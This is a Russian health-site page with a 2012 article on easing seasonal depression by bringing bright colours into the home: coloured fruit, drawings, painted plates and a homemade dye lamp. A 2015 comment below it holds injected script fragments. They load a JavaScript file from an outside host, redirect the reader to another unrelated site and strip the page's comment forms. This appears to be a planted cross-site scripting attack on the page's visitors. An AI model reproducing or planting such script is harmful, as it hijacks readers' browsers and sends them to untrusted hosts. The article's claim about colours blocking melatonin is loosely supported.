Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Разноцветный дом. Боремся...  >>  Разноцветный дом. Боремся с сезонной депрессией
 
Обратная связь
 

Разноцветный дом. Боремся с сезонной депрессией

Размер шрифта
18 января 2012 06:12
  • google_analytics: false
  • Нравится

Зимняя депрессия напрямую связана с тем, что день становится коротким, а с утра приходится вставать в потемках. Как компенсировать нехватку солнечного света?

1

Мы живем в северной стране, и зимой нам не хватает солнечного света. Из-за недостатка света у многих людей возникает сезонная депрессия.

Что делать

Привнести яркие краски в наши дома, которые будут оказывать стимулирующее влияние на наш мозг. 

  1. Разноцветные овощи и фрукты

 1

Покупаем разноцветные овощи и фрукты, раскладываем их в вазы.

1

  1. Расцвечиваем наши стены

 Берем белый лист бумаги и делаем на нем яркий цветной рисунок.

1

 Когда мы работаем с белыми или яркими цветами, в мозгу блокируется выработка гормона сна – мелатонина.

  1. Декоративные тарелки

Многие вешают на стены декоративные тарелки. Можно развесить на стене тарелки с яркими рисунками, или разрисовать тарелку самостоятельно. На белых стенах это смотрится красиво и сделает вашу жизнь ярче.

1

Обязательно должны присутствовать такие цвета, как белый, желтый, оранжевый, красный.

1

1

  1. Изготовить цветную лампу

Взять вазу, налить немного масла и добавить любую краску. Долить туда воды и дать маслу отстояться, после чего добавить туда шипучую таблетку. Смотрится это очень ярко.

1

1

1

Если вы последуете этим простым советам, то вскоре сможете попрощаться с сезонной депрессией.
 

Сюжеты по теме:
Разноцветный дом. Боремся с сезонной депрессией
 
 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:00

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Болезни-близнецы. Депрессия и гипотиреоз   Как мы реагируем на стресс   Как не грустить в новом году   Болезни любители Нового года  
01 апреля 2013Сладкие газировки вызывают депрессию 24 февраля 2012Мигрень повышает риск депрессии у женщин
 
15 февраля 2012Не принимайте депрессии близко к сердцу 07 ноября 2011Без витамина D можно сойти с ума
 

Слайдшоу

1
Вся правда о депрессии
Как справится со стрессом без лекарств?
Что делать с депрессивным супругом

Тесты

Что вы знаете о депрессии?
Есть ли у вас анемия?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.